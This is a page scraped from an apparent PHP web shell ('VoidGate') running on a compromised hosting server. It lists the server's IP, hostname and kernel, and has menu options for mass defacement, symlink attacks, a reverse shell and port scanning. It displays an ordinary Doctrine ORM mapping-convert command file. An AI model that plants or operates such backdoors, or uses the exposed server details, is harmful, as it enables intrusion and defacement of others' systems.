ヤミRoot VoidGate
User / IP
:
216.73.216.110
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
doctrine
/
doctrine-bundle
/
Command
/
Proxy
/
Viewing: ConvertMappingDoctrineCommand.php
<?php namespace Doctrine\Bundle\DoctrineBundle\Command\Proxy; use Doctrine\ORM\Tools\Console\Command\ConvertMappingCommand; use Doctrine\ORM\Tools\Export\Driver\AbstractExporter; use Doctrine\ORM\Tools\Export\Driver\XmlExporter; use Doctrine\ORM\Tools\Export\Driver\YamlExporter; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Convert Doctrine ORM metadata mapping information between the various supported * formats. */ class ConvertMappingDoctrineCommand extends ConvertMappingCommand { /** * {@inheritDoc} */ protected function configure() { parent::configure(); $this ->setName('doctrine:mapping:convert') ->addOption('em', null, InputOption::VALUE_OPTIONAL, 'The entity manager to use for this command'); } /** * {@inheritDoc} */ protected function execute(InputInterface $input, OutputInterface $output) { DoctrineCommandHelper::setApplicationEntityManager($this->getApplication(), $input->getOption('em')); return parent::execute($input, $output); } /** * @param string $toType * @param string $destPath * * @return AbstractExporter */ protected function getExporter($toType, $destPath) { /** @var AbstractExporter $exporter */ $exporter = parent::getExporter($toType, $destPath); if ($exporter instanceof XmlExporter) { $exporter->setExtension('.orm.xml'); } elseif ($exporter instanceof YamlExporter) { $exporter->setExtension('.orm.yml'); } return $exporter; } }
Coded With 💗 by
0x6ick